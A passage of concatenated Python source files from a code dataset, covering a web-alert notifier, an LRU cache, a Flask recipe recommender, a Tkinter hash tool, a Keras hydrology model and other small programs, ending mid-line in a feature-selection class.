_visit(self):\n app = self.app\n l = app.logger\n site = app.sites[self.name]['instance']\n site_config = app.sites[self.name]['config']\n\n # Get new posts\n try:\n posts = site.get_new_posts()\n except SiteException as e:\n l.warning('Error in %s: %s', self.name, e)\n app.sites[self.name]['errors'] += 1\n # Disable the site if errors occur 10 times in a row\n if app.sites[self.name]['errors'] >= 10:\n app.sites[self.name]['disabled'] = True\n l.warning('Site %s is disabled due to too many errors', self.name)\n return\n\n # Reset the error counter if success\n app.sites[self.name]['errors'] = 0\n\n # Find matching posts\n patterns = site_config.get('patterns', app.config.get('patterns', []))\n l.debug('%s: patterns: %s', self.name, patterns)\n posts_matched = [post for post in posts\n if (patterns is None or\n any(search(pattern, post.title) or search(pattern, post.content)\n for pattern in patterns))]\n l.debug('%s: number of checked posts: %d', self.name, len(posts))\n l.debug('%s: number of matched posts: %d', self.name, len(posts_matched))\n\n # Add matching posts to notifications\n notification_names = site_config.get('notifications', app.notifications.keys())\n l.debug('%s: notification names: %s', self.name, notification_names)\n for noti_name in notification_names:\n if noti_name not in app.notifications:\n l.warning('%s: notification %s does not exist', self.name, noti_name)\n continue\n with app.notifications[noti_name]['lock']:\n app.notifications[noti_name]['posts'].extend(posts_matched)\n app.notifications[noti_name]['posts'].sort(key=attrgetter('published'))\n\n class NotificationThread(Thread):\n\n def __init__(self, app, name):\n super(App.NotificationThread, self).__init__()\n self.app = app\n self.name = name\n\n def run(self):\n try:\n self._before_notify()\n except Exception:\n self.app.logger.exception('Notification %s crashed due to an uncaught error',\n self.name)\n\n def _before_notify(self):\n app = self.app\n data = app.notifications[self.name]\n\n data['counter'] += 1\n interval = data['config'].get('notify_interval', app.config['notify_interval'])\n interval = ceil(max(1, interval))\n if data['counter'] >= interval:\n data['counter'] = 0\n app.logger.info('Notifying with %s', self.name)\n self._notify()\n else:\n app.logger.debug('%s loop counter: %d/%d', self.name, data['counter'], interval)\n\n def _notify(self):\n app = self.app\n notification = app.notifications[self.name]['instance']\n with app.notifications[self.name]['lock']:\n posts = app.notifications[self.name]['posts']\n try:\n notification.notify(posts)\n except NotificationException as e:\n app.logger.warning('Error in %s: %s', self.name, e)\n posts[:] = []\n\n\nPostBase = namedtuple('Post', 'url title content content_html author author_id published')\n\nclass Post(PostBase):\n \"\"\"Represent a generic post, a user's content published to a website.\n String parameters containing non-ASCII characters must be unicode.\n\n :param url: URL of a post (required).\n :param title: Title of a post (required).\n :param content: text content of a post (required).\n :param content_html: HTML content of a post.\n :param author: Name of the original poster of a post.\n :param author_id: ID that uniquely identifies the original poster.\n :param published: :py:class:`~datetime.datetime` object containing the date\n and time when a post was published.\n\n \"\"\"\n\n htmlcleaner = lxml.html.clean.Cleaner()\n htmlcleaner.allow_tags = frozenset([\n 'a', 'b', 'blockquote', 'code', 'del', 'dd', 'dl', 'dt', 'em', 'h1', 'i', 'img', 'kbd',\n 'li', 'ol', 'p', 'pre', 's', 'sup', 'sub', 'strong', 'strike', 'ul', 'br', 'hr',\n ])\n htmlcleaner.kill_tags = frozenset(['style'])\n htmlcleaner.remove_unknown_tags = False\n htmlcleaner.safe_attrs = frozenset([\n 'src', 'width', 'height', 'alt', 'title', # img\n 'href', 'title', # a\n ])\n\n def __new__(cls, url, title, content, content_html=None,\n author=None, author_id=None, published=None):\n return super(Post, cls).__new__(cls, url, title, content, content_html,\n author, author_id, published)\n\n @property\n def content_html_safe(self):\n \"\"\"A sanitized version of *content_html*.\n Notifications should use this value instead of *content_html*.\n \"\"\"\n if self.content_html is None:\n return None\n return Post.htmlcleaner.clean_html(self.content_html)\n\n def __unicode__(self):\n summary = self.content if len(self.content) <= 80 else self.content[:79] + u'…'\n return dedent(u\"\"\"\\\n Post URL: {post.url}\n Subject: {post.title}\n Published: {post.published}\n Author: {post.author} ({post.author_id})\n {summary}\n \"\"\").format(post=self, summary=summary) + (\"=\" * 79)\n\n\nclass Browser(object):\n\n UA_STRING = ('WebAlerts/{version} (+https://github.com/clee704/WebAlerts) '\n '{requests_ua_string}').format(version=__version__,\n requests_ua_string=default_user_agent())\n\n # Subclass should define these values\n BASE_URL = None\n QUERY_PATHS = None\n\n def __init__(self, username=None, password=None):\n self._session = Session()\n self._session.headers.update({'User-Agent': self.UA_STRING})\n self._username = username\n self._password = password\n\n def get_page(self, name, **kwargs):\n path, query_map = self.QUERY_PATHS[name]\n url = self.BASE_URL + path\n if query_map:\n expected_keys = query_map.viewkeys()\n provided_keys = kwargs.viewkeys()\n if not expected_keys & provided_keys:\n raise ValueError('arguments mismatch: expected {0}, got {1}'.format(\n list(expected_keys), list(provided_keys)))\n url += '?' + urlencode_utf8((query_map[k], kwargs[k]) for k in expected_keys)\n response = self._request_with_login(url)\n return response\n\n def login(self, username=None, password=None):\n username = self._username if username is None else username\n password = self._password if password is None else password\n if username is None or password is None:\n raise LoginError('Username or password is not provided')\n self._login(username, password)\n\n def _request_with_login(self, url):\n first_attempt = True\n while True:\n response = self._request(url)\n if not self._login_required(response):\n return response\n if first_attempt:\n self.login()\n first_attempt = False\n else:\n raise LoginError()\n\n def _request(self, url, method='get', data=None):\n try:\n response = self._session.request(method, url, data=data)\n response.raise_for_status()\n except RequestException as e:\n raise SiteException(e)\n else:\n return Response(response.url, response.content, response.status_code)\n\n def _login(self, username, password):\n raise NotImplementedError('Subclass should implement this method')\n\n def _login_required(self, response):\n raise NotImplementedError('Subclass should implement this method')\n\n\nclass Response(object):\n\n def __init__(self, url, content, status_code):\n self.url = url\n self.content = content\n self.status_code = status_code\n\n def __repr__(self):\n return ''.format(self.status_code)\n\n\ndef run_in_parallel(threads):\n for thread in threads:\n thread.start()\n for thread in threads:\n thread.join()\n","sub_path":"webalerts/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":15563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"555212847","text":"class Song:\n\tdef __init__(self, artist, song):\n\t\tself.artist = artist\n\t\tself.song = song\n\t\tself.tags = []\n\n\tdef add_tags(self, *args):\n\t\tself.tags.extend(args)\n\nsong1 = Song(\"Skakey Graves\", \"Roll the Bones\")\nsong1.add_tags(\"Americana\", \"Country\")\n\nsong2 = Song(\"Neromonah Feofan\", \"Holodno v lesu\")\nsong2.add_tags(\"Russina\", \"Drum'n'base\")\n\nprint(song1.tags)\nprint(song2.tags)","sub_path":"module_1/1.5_class/class_song.py","file_name":"class_song.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"105744572","text":"__copyright__ = \"Copyright (c) 2020 Jina AI Limited. All rights reserved.\"\n__license__ = \"Apache-2.0\"\n\nfrom typing import Optional\n\nfrom . import FlatRecursiveMixin, BaseExecutableDriver\nfrom ..excepts import LengthMismatchException\n\nif False:\n from .. import DocumentSet\n\n\nclass CraftDriver(FlatRecursiveMixin, BaseExecutableDriver):\n \"\"\"Drivers inherited from this Driver will bind :meth:`craft` by default \"\"\"\n\n def __init__(\n self, executor: Optional[str] = None, method: str = 'craft', *args, **kwargs\n ):\n super().__init__(executor, method, *args, **kwargs)\n\n def _apply_all(self, docs: 'DocumentSet', *args, **kwargs):\n if not docs:\n self.logger.warning(f'an empty DocumentSet {docs}')\n return\n\n contents, docs_pts = docs.extract_docs(*self.exec.required_keys)\n\n if not docs_pts:\n self.logger.warning(f'no Document is extracted {docs}')\n return\n\n if len(self.exec.required_keys) > 1:\n craft_dicts = self.exec_fn(*contents)\n else:\n craft_dicts = self.exec_fn(contents)\n\n if len(docs_pts) != len(craft_dicts):\n msg = (\n f'mismatched {len(docs_pts)} docs from level {docs_pts[0].granularity} '\n f'and length of returned crafted documents: {len(craft_dicts)}, the length must be the same'\n )\n self.logger.error(msg)\n raise LengthMismatchException(msg)\n\n for doc, crafted in zip(docs_pts, craft_dicts):\n doc.set_attrs(**crafted)\n","sub_path":"jina/drivers/craft.py","file_name":"craft.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"155029011","text":"#\n# @lc app=leetcode id=77 lang=python3\n#\n# [77] Combinations\n#\n\n# @lc code=start\nclass Solution:\n # Recursion\n def combine(self, n: int, k: int) -> List[List[int]]:\n if n < k or k < 1:\n return []\n if k == 1:\n return [[i] for i in range(1, n + 1)]\n pre1 = self.combine(n - 1, k - 1)\n for l in pre1:\n l.append(n)\n return pre1 + self.combine(n - 1, k)\n\n # Iterative\n # def combine(self, n, k):\n # res = []\n # stack = []\n # x = 1\n # while True:\n # l = len(stack)\n # if l == k:\n # res.append(stack[:])\n # if l == k or x > n - k + l + 1:\n # if not stack:\n # return res\n # x = stack.pop() + 1\n # else:\n # stack.append(x)\n # x += 1\n\n# @lc code=end\n","sub_path":"77.combinations.py","file_name":"77.combinations.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"629839517","text":"from django.utils.decorators import method_decorator\n\n\n\ndef view_decorator(function_decorator):\n\t\"\"\"Convert a function based decorator into a class based decorator usable\n\ton class based Views.\n\n\tCan't subclass the `View` as it breaks inheritance (super in particular),\n\tso we monkey-patch instead.\n\n\tBased on http://stackoverflow.com/a/8429311\n\t\"\"\"\n\n\tdef simple_decorator(View):\n\t\tView.dispatch = method_decorator(function_decorator)(View.dispatch)\n\t\treturn View\n\n\treturn simple_decorator\n\n\n\n# Simplified version from https://github.com/mitsuhiko/werkzeug/blob/master/werkzeug/_internal.py\nclass _Missing(object):\n\tpass\n_missing = _Missing()\n\n\n\n\n# From https://github.com/mitsuhiko/werkzeug/blob/master/werkzeug/utils.py\nclass cached_property(object):\n\t\"\"\"A decorator that converts a function into a lazy property. The\n\tfunction wrapped is called the first time to retrieve the result\n\tand then that calculated result is used the next time you access\n\tthe value::\n\n\t\tclass Foo(object):\n\n\t\t\t@cached_property\n\t\t\tdef foo(self):\n\t\t\t\t# calculate something important here\n\t\t\t\treturn 42\n\n\tThe class has to have a `__dict__` in order for this property to\n\twork.\n\t\"\"\"\n\n\t# implementation detail: this property is implemented as non-data\n\t# descriptor. non-data descriptors are only invoked if there is\n\t# no entry with the same name in the instance's __dict__.\n\t# this allows us to completely get rid of the access function call\n\t# overhead. If one choses to invoke __get__ by hand the property\n\t# will still work as expected because the lookup logic is replicated\n\t# in __get__ for manual invocation.\n\n\tdef __init__(self, func, name=None, doc=None):\n\t\tself.__name__ = name or func.__name__\n\t\tself.__module__ = func.__module__\n\t\tself.__doc__ = doc or func.__doc__\n\t\tself.func = func\n\n\tdef __get__(self, obj, type=None):\n\t\tif obj is None:\n\t\t\treturn self\n\t\tvalue = obj.__dict__.get(self.__name__, _missing)\n\t\tif value is _missing:\n\t\t\tvalue = self.func(obj)\n\t\t\tobj.__dict__[self.__name__] = value\n\t\treturn value\n","sub_path":"django_libretto/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":2003,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"492077709","text":"from collections import Counter\nfrom tkinter import filedialog as fd\n\n\n# функция поиска нужного файла вручную\ndef insertText():\n file_name = fd.askopenfilename()\n f = open(file_name)\n s = f.read()\n f.close()\n return s\n\n\n# запись символов по частоте встречаемости (абсолютной)\na = insertText()\ndictionary = {}\nfor key1, value in Counter(a.lower()).items():\n if key1.isalpha():\n dictionary[key1] = value\n\n# рассчет относительной частоты встречаемости\na = sum(list(dictionary.values()))\nt = list(dictionary.values())\nfor i in range(len(t)):\n t[i] = t[i] / a\n\n# запись в словарь относительной частоты встречаемости\nb = list(dictionary.keys())\nfor i in range(len(t)):\n dictionary[b[i]] = round(t[i], 3)\n\n# вывод результата в консоль\nprint(sorted(dictionary.items(), key=lambda x: x[1], reverse=True))\n","sub_path":"symbol_counter.py","file_name":"symbol_counter.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"603852751","text":"class DoubleLinkedNode():\n def __init__(self):\n self.key = 0\n self.value = 0\n self.prev = None\n self.next = None\n\n\nclass LRUCache():\n def __init__(self, capacity):\n self.cache = {}\n self.size = 0\n self.capacity = capacity\n self.head, self.tail = DoubleLinkedNode(), DoubleLinkedNode()\n\n self.head.next = self.tail\n self.tail.prev = self.head\n\n def add_node(self, node):\n \"\"\"\n Always add the new node right after head\n \"\"\"\n node.prev = self.head\n node.next = self.head.next\n\n self.head.next.prev = node\n self.head.next = node\n\n def remove_node(self, node):\n \"\"\"\n Remove an existing node from the linked list\n \"\"\"\n prev = node.prev\n new = node.next\n\n prev.next = new\n new.prev = prev\n\n def move_to_head(self, node):\n \"\"\"\n Move certain node in between the head\n \"\"\"\n self.remove_node(node)\n self.add_node(node)\n\n def pop_tail(self):\n \"\"\"\n Pop the current tail\n \"\"\"\n res = self.tail.prev\n self.remove_node(res)\n return res\n\n def get(self, key):\n node = self.cache.get(key, None)\n if not node:\n return -1\n\n self.move_to_head(node)\n return node.value\n\n def put(self, key, value):\n node = self.cache.get(key)\n\n if not node:\n newNode = DoubleLinkedNode()\n newNode.key = key\n newNode.value = value\n\n self.cache[key] = newNode\n self._add_node(newNode)\n\n self.size += 1\n\n if self.size > self.capacity:\n # pop the tail\n tail = self._pop_tail()\n del self.cache[tail.key]\n self.size -= 1\n else:\n # update the value.\n node.value = value\n self._move_to_head(node)\n","sub_path":"design/lru_cache_ll_hash.py","file_name":"lru_cache_ll_hash.py","file_ext":"py","file_size_in_byte":1947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"98479917","text":"from flask import render_template, request\nfrom app import app\nfrom sqlalchemy import create_engine\nfrom sqlalchemy_utils import database_exists, create_database\nimport pandas as pd\nimport psycopg2\nimport numpy as np\n\nimport pickle\n\nfrom nltk.stem.wordnet import WordNetLemmatizer\n\nfrom sqlCalls import *\n#from processText import *\n\n#from forms import inventory, inventoryAll\nfrom collections import defaultdict\n\n#import pandas_highcharts\nimport os\nAPP_ROOT = os.path.dirname(os.path.abspath(__file__)) # refers to application_top\nAPP_STATIC = os.path.join(APP_ROOT, 'static')\n\n@app.route('/')\n@app.route('/index')\ndef index():\n with open(os.path.join(APP_STATIC, 'veggieslist2.txt'), \"rb\") as fo:\n veggiesAll1 = pickle.load(fo) \n veggiesAll = sorted(veggiesAll1)\n veggiesAll.remove('romanesco')\n veggiesAll.append('none')\n return render_template(\"index.html\", veggiesall = veggiesAll)\n\n\ndef indexFake():\n form = inventoryAll()\n # Adding inventory to dictionary\n if form.validate_on_submit():\n veggieQuantity = defaultdict(float)\n veggieQuantity[form.veggie.data] = int(form.quantity.data)*1.0\n return render_template(\"index.html\",\n form = form)\n else:\n return render_template(\"index2.html\",\n form = form)\n\n\ndef lemmatizePhrase(phrase):\n \"\"\" \n Lemmatize each word in a pharse\n \"\"\"\n words = phrase.lower().split()\n return ' '.join(str(WordNetLemmatizer().lemmatize(word.encode('utf-8'))) for word in words)\n \n \ndef getScore(selDf, veggiesQuantity, vDf, numServings):\n selDf['score'] = 0.0\n for veggie in veggiesQuantity.keys():\n diffinQuantity = 1/(np.abs((selDf[veggie].astype(float)/selDf['num_servings'].astype(float)*numServings - veggiesQuantity[veggie]*1.0 ))+1)\n weight = 1/(vDf[vDf.veggie == veggie].shelf_life)\n product = diffinQuantity*list(set(weight))[0]\n selDf['score'] = selDf['score'] + product\n selDf['score'] = selDf['score']*100\n selDf['recipe_name'] = selDf['index'].str.split('/').apply(lambda x: ' '.join(x[4].split('-')[:-1]).title())\n selDf = selDf.sort_values('score', ascending=False).head(50)\n return selDf\n\n\n\n@app.route('/output')\ndef display_output():\n veggieQuantity = {lemmatizePhrase(str(request.args.get('veggie1')).replace(\" \", \"_\")): (request.args.get('quantity1')),\\\n lemmatizePhrase(str(request.args.get('veggie2')).replace(\" \", \"_\")): (request.args.get('quantity2')),\\\n lemmatizePhrase(str(request.args.get('veggie3')).replace(\" \", \"_\")): (request.args.get('quantity3')),\\\n lemmatizePhrase(str(request.args.get('veggie4')).replace(\" \", \"_\")): (request.args.get('quantity4')),\\\n lemmatizePhrase(str(request.args.get('veggie5')).replace(\" \", \"_\")): (request.args.get('quantity5'))}\n \n\n if 'none' in veggieQuantity:\n del veggieQuantity['none']\n\n for veggie in veggieQuantity.keys():\n veggieQuantity[veggie] = int(veggieQuantity[veggie])\n\n numServings = int(request.args.get('numServings'))*1.0\n keywords = request.args.get('mealdescription')\n\n #tags = ['vegetarian', 'vegan']\n ## veggiesQuantity = {'fennel':1, 'beet':5, 'shallot':1, 'carrot':5, 'tomato':5, 'broccoli':1}\n veggies = veggieQuantity.keys()\n\n vDf = getRecipesForVeggies(veggies)\n recipesListFromVeggies = list(set(sum([recipe_id for recipe_id in vDf.recipes.str.split(',')], [])))\n \n if (request.args.get('vegetarian') is not None) & (request.args.get('vegan') is not None): \n tags = [lemmatizePhrase(request.args.get('vegetarian')), request.args.get('vegan')]\n df = getRecipesForTags(tags)\n ## Extract recipes from tags\n recipesListFromTags = list(set(sum([recipe_id for recipe_id in df.recipe_ids.str.split(',')], [])))\n selectedRecipesList = list(set(recipesListFromTags)&set(recipesListFromVeggies))\n else:\n selectedRecipesList = recipesListFromVeggies\n\n # Sides or no?\n #sidesDf = getRecipesForTags(['side'])\n #sidesListFromTags = list(set(sum([recipe_id for recipe_id in sidesDf.recipe_ids.str.split(',')], [])))\n #selectedRecipesList = list(set(selectedRecipesList2)-set(sidesListFromTags))\n\n selDf = getRecipeIngredientsForVeggies(selectedRecipesList, veggies)\n selDf = selDf.fillna(0)\n selDf = selDf[selDf['num_servings']!=0].reset_index()\n for veggie in veggies:\n if veggie != 'none':\n selDf[veggie] = selDf[veggie].astype(float)\n selDf[veggie] = (selDf[veggie])/np.max(selDf[veggie])\n \n vDf['norm_shelf_life'] = vDf['shelf_life']/np.max(vDf['shelf_life'])\n\n selDf = getScore(selDf, veggieQuantity, vDf, numServings)\n\n \n imageDf = getRecipeImageURLs(selDf)\n selDf['id'] = selDf['index']\n selDf2 = pd.merge(selDf, imageDf, on='id', how='outer').reset_index(drop=True)\n #selDf3 = doNLPStuff(selDf2, keywords)\n selDf3 = selDf2.head(10)\n selDf3['id'] = selDf3['id'].apply(lambda x: \"http://www.epicurious.com\"+str(x))\n recipeInfo = []\n for i in range(0, len(selDf3)):\n recipeInfo.append([selDf3['recipe_name'][i],\\\n selDf3['image_url'][i],\\\n selDf3['id'][i]]+ \\\n [int(selDf3[veggie][i]) for veggie in veggies])\n return render_template(\"output.html\",\\\n recipeInfo=recipeInfo,\\\n recipeNames = selDf3['recipe_name'],\\\n recipeImgUrl=selDf3['image_url'],\\\n recipeId=selDf3['id'],\\\n veggiesList = veggies, veggiesQuantity=veggieQuantity.values(), veggiesShit = [selDf3[veggie].tolist() for veggie in veggies ])\n","sub_path":"app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"214273888","text":"#######################################\n# Name: TXT Hash #\n# Author: Jesse #\n# Email: bluecode1990@gmail.com #\n# Date: 2012/06/10 #\n# PS: A practice for Tkinter. #\n#######################################\n\n#!/usr/bin/env python\n#coding=utf-8\n\nfrom Tkinter import *\nimport hashlib\n\nclass App(object):\n def __init__(self, master):\n self.str_textvar = StringVar()\n self.md5_textvar = StringVar()\n self.sha1_textvar = StringVar()\n \n fm1 = Frame(master)\n Label(fm1, text='Str').grid(row=0, sticky=W)\n Label(fm1, text='MD5').grid(row=1, sticky=W)\n Label(fm1, text='SHA1').grid(row=2, sticky=W)\n self.str_entry = Entry(fm1, width=50, textvariable=self.str_textvar, state='normal')\n self.md5_entry = Entry(fm1, width=50, textvariable=self.md5_textvar, state='readonly')\n self.sha1_entry = Entry(fm1, width=50, textvariable=self.sha1_textvar, state='readonly')\n self.str_entry.grid(row=0, column=1, sticky=W)\n self.md5_entry.grid(row=1, column=1, sticky=W)\n self.sha1_entry.grid(row=2, column=1, sticky=W)\n fm1.pack()\n \n def encrypt():\n str_val = self.str_entry.get()\n md5_val = hashlib.md5(str_val).hexdigest().upper()\n sha1_val = hashlib.sha1(str_val).hexdigest().upper()\n self.md5_textvar.set(md5_val)\n self.sha1_textvar.set(sha1_val)\n \n def clear():\n self.str_textvar.set('')\n self.md5_textvar.set('')\n self.sha1_textvar.set('')\n \n fm2 = Frame(master)\n Button(fm2, text='Hash', command=encrypt, width=8).grid(row=0, column=1, sticky=W)\n Button(fm2, text='Clear', command=clear, width=8).grid(row=0, column=2, sticky=W)\n fm2.pack()\n \nroot = Tk()\nroot.option_add('*font', ('verdana', 10, 'bold'))\nroot.title('TXT Hash')\nApp(root)\nroot.mainloop()\n","sub_path":"TXT_Hash.py","file_name":"TXT_Hash.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"372453530","text":"import matplotlib.pyplot as plt\nfrom tensorflow.keras import Model, Input\nfrom tensorflow.keras.layers import Concatenate, Dense, Dropout\n\nfrom data_utils import load_adcl, plot_results_lines, calculate_abs_levels, split_dataset\nfrom data_utils import nash_sutcliffe, standardize_data\nfrom simulation import adcl_simulation\n\n\ndef plot_loss(history):\n plt.plot(history.history['loss'])\n plt.title('Model loss')\n plt.ylabel('Loss')\n plt.xlabel('Epoch')\n plt.legend(['Train', 'Test'], loc='lower left')\n plt.show()\n\n\ndef build_nn(n_outputs: int, n_features: int):\n _in = Input(shape=(n_features,))\n d = Dense(100, activation='tanh')(_in)\n d = Dropout(.1)(d)\n d = Dense(50, activation='tanh')(d)\n d = Dropout(.1)(d)\n d = Dense(20, activation='tanh')(d)\n d = Dense(10, activation='tanh')(d)\n out = Dense(n_outputs, activation='tanh')(d)\n\n _model = Model(inputs=_in, outputs=out)\n\n _model.compile(loss=nash_sutcliffe, optimizer=\"adam\", metrics=['mae'])\n\n return _model, 1\n\n\ndef build_multi_nn(n_outputs: int, n_features: int):\n outs = []\n ins = []\n for output_n in range(n_outputs):\n column_input = Input(shape=(n_features,), name=f\"in_c{output_n}\")\n ins.append(column_input)\n d = Dense(50, activation='tanh')(column_input)\n d = Dropout(.1)(d)\n d = Dense(20, activation='tanh')(d)\n d = Dropout(.1)(d)\n d = Dense(10, activation='tanh')(d)\n d = Dense(1, activation='tanh', name=f\"out_c{output_n}\")(d)\n outs.append(d)\n\n conc_layer = Concatenate(axis=1)(outs)\n _model = Model(inputs=ins, outputs=conc_layer)\n\n _model.compile(loss=nash_sutcliffe, optimizer=\"adam\", metrics=['mae'])\n\n return _model, len(ins)\n\n\nif __name__ == '__main__':\n\n dataset, split_target_feature_index, demand_indexes, test_size, abs_levels = load_adcl()\n\n abs_levels_test_set = abs_levels[abs_levels.index >= abs_levels.index[-test_size-1]]\n\n n_steps = 1\n dataset_values = dataset.values\n dataset_values[:, demand_indexes[0]:demand_indexes[1]], scaler = \\\n standardize_data(dataset_values[:, demand_indexes[0]:demand_indexes[1]])\n\n train, test = split_dataset(dataset_values, test_size)\n\n # model, n_inputs = build_multi_nn(split_train_test_index, dataset_values.shape[1]-split_train_test_index)\n model, n_inputs = build_multi_nn(split_target_feature_index, dataset_values.shape[1] - split_target_feature_index)\n\n history = model.fit([train[:, split_target_feature_index:] for _ in range(n_inputs)],\n train[:, :split_target_feature_index], epochs=50,\n use_multiprocessing=True)\n\n plot_loss(history)\n\n y_true = test[:, :split_target_feature_index]\n x_test = [test[:, split_target_feature_index:] for _ in range(n_inputs)]\n score = model.evaluate(x_test, y_true)\n\n print(score)\n y_pred = model.predict(x_test)\n # plot_results_bars(y_true, y_pred)\n pred_abs_levels = calculate_abs_levels(abs_levels_test_set.iloc[0].values, y_pred)\n plot_results_lines(abs_levels_test_set.iloc[1:].values, pred_abs_levels, adcl_simulation(),\n titles=list(dataset.columns[:3]))\n","sub_path":"multi_step_hydraulic_model.py","file_name":"multi_step_hydraulic_model.py","file_ext":"py","file_size_in_byte":3184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"260991190","text":"import requests\nimport json\nimport logging\nimport traceback\nimport settings\n\ndef send_slack(message, user_name=\"jobmy_bot\", icon_emoji=':robot_face:', channel=None):\n try:\n url = settings.SLACK_WEBHOOK_URL\n if url == \"\":\n return\n if channel is None:\n channel = settings.SLACK_SEND_CHANNEL\n body = message\n content = body\n\n payload_dic = {\n \"text\":content,\n \"username\": user_name,\n \"icon_emoji\": icon_emoji,\n \"channel\": channel,\n }\n # Incoming Webhooksを使って対象のチャンネルにメッセージを送付\n r = requests.post(url, data=json.dumps(payload_dic))\n except Exception as ex:\n logging.error(traceback.format_exc())\n","sub_path":"lib/network_utils.py","file_name":"network_utils.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"237737542","text":"from Users import VIRTUAL_FILESYSTEM_DIR\nfrom fs import *\nfrom fs.osfs import *\nfrom fs.base import *\nimport os\nimport hashlib\n\n\nclass FileDoesNotExistsException(Exception):\n pass\n\n\nclass UserFS:\n def __init__(self, username: str):\n # self.home_FS = open_fs(VIRTUAL_FILESYSTEM_DIR + username)\n self.home_OSFS = OSFS(VIRTUAL_FILESYSTEM_DIR + username + '/')\n # self.lock = threading.Condition()\n self.username = username\n\n def list_all_files(self) -> list:\n result_list = []\n files = self.home_OSFS.listdir('.')\n for file in files:\n result_file = {'name': file}\n file_info = self.home_OSFS.getinfo(file, namespaces=['details', 'link'])\n result_file['size'] = int(file_info.size)\n result_file['last_modification'] = file_info.modified\n result_list.append(result_file)\n return result_list\n\n def get_file_as_bytes(self, file_path: str) -> bytes:\n with self.home_OSFS.lock():\n try:\n file_bytes = self.home_OSFS.getbytes(file_path)\n return file_bytes\n except:\n raise FileDoesNotExistsException('File {} does not exists'.format(file_path))\n\n def hash_sha3_512(self, file_path: str):\n sha3_512 = hashlib.sha3_512()\n sha3_512.update(self.get_file_as_bytes(file_path))\n return sha3_512.digest()\n\n def save_file_from_bytes(self, file_path: str, file_bytes: bytes) -> bool:\n with self.home_OSFS.lock():\n try:\n self.home_OSFS.setbytes(file_path, file_bytes)\n return True\n except TypeError:\n return False\n\n def check_file_existence(self, file_path: str) -> bool:\n with self.home_OSFS.lock():\n try:\n file_info = self.home_OSFS.getinfo(file_path)\n return file_info.is_file\n except errors.ResourceNotFound:\n return False\n\n def delete_file(self, file_path: str) -> bool:\n absolute_path = self.home_OSFS.getsyspath(file_path)\n try:\n os.remove(absolute_path)\n return True\n except FileNotFoundError:\n return False\n\n\n\nif __name__ == \"__main__\":\n johny = UserFS('johny')\n print(johny.list_all_files())\n test_bytes = b'123456'\n print(johny.save_file_from_bytes('test3.txt', test_bytes))\n print(johny.get_file_as_bytes('test.txt') == test_bytes)\n print(johny.hash_sha3_512('test.txt'))\n print(johny.check_file_existence('test2.txt'))\n print(johny.delete_file('test3.txt'))\n","sub_path":"MKOI/target/py/UserFS.py","file_name":"UserFS.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"377256417","text":"import datetime\nimport os\nimport shutil\nimport sys\nimport threading\nimport time\nimport qdarkstyle\n\nfrom PyQt4 import QtGui\n\nfrom main_window import MainWindow\n\nSAVE_TIMEOUT = 5\nbackup = True\n\n\ndef copy_pasta():\n backup_path = os.path.abspath('backups')\n backup_file = os.path.join(backup_path, datetime.datetime.now().strftime(\"%d-%m-%Y_%H-%M\"))\n db_file = os.path.join(os.path.abspath('database'), 'database.sqlite3')\n shutil.copy(db_file, backup_file)\n\n\ndef backupper(sleep=SAVE_TIMEOUT):\n while backup:\n time.sleep(sleep)\n copy_pasta()\n\n\nt1 = threading.Thread(target=backupper)\nt1.setDaemon(True)\nt1.start()\n\napp = QtGui.QApplication(sys.argv)\n\ntheme = open('static/theme').readline().rstrip()\nprint(theme)\ndefault_themes = ['plastique', 'cde', 'motif', 'sgi', 'windows', 'cleanlooks', 'mac']\n\nif theme == 'qdarkstyle':\n app.setStyleSheet(qdarkstyle.load_stylesheet(pyside=False))\nelif theme == 'none' or not theme:\n pass\nelif theme == 'orange':\n stylesheet = open('static/orange').read()\n app.setStyleSheet(stylesheet)\nelif theme in default_themes:\n app.setStyle(theme)\n\nwindow = QtGui.QWidget()\nsetup = MainWindow()\nsetup.setupUi(window)\nwindow.show()\n\napp.exec_()\nsys.exit()\n","sub_path":"rem/cmr/start.py","file_name":"start.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"625551262","text":"# !/bin/python3\n\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime as dt\nfrom collections import Counter\nfrom sklearn.decomposition import PCA\nfrom imblearn.over_sampling import ADASYN, SMOTE\nimport matplotlib.pyplot as plt\nfrom skfeature.function.information_theoretical_based import MRMR, MIFS\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom sklearn.svm import SVC\n\n\nclass InfoGain:\n\n def __init__(self, data, labels):\n self.data = data\n self.labels = labels\n self.features = self.data.columns\n self.entropy = self.calcEntropyOfSet(self.labels)\n self.infoGainTable = pd.DataFrame(data=np.zeros((len(self.features), 2)),\n columns=['Info. gain', 'Threshold'],\n index=self.features)\n\n def calcInfoGain(self):\n for feature in self.features:\n gain, igClass, igEntropy = 